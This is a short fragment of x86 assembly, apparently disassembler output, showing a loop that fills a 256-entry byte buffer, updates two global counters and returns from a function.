mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x100ac1fc]
add eax, 1
mov dword [0x100ac1fc], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x10007f15
jmp 0x10007f01
mov eax, dword [0x100ac1f4]
add eax, 0xa52
mov dword [0x100ac1f4], eax
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret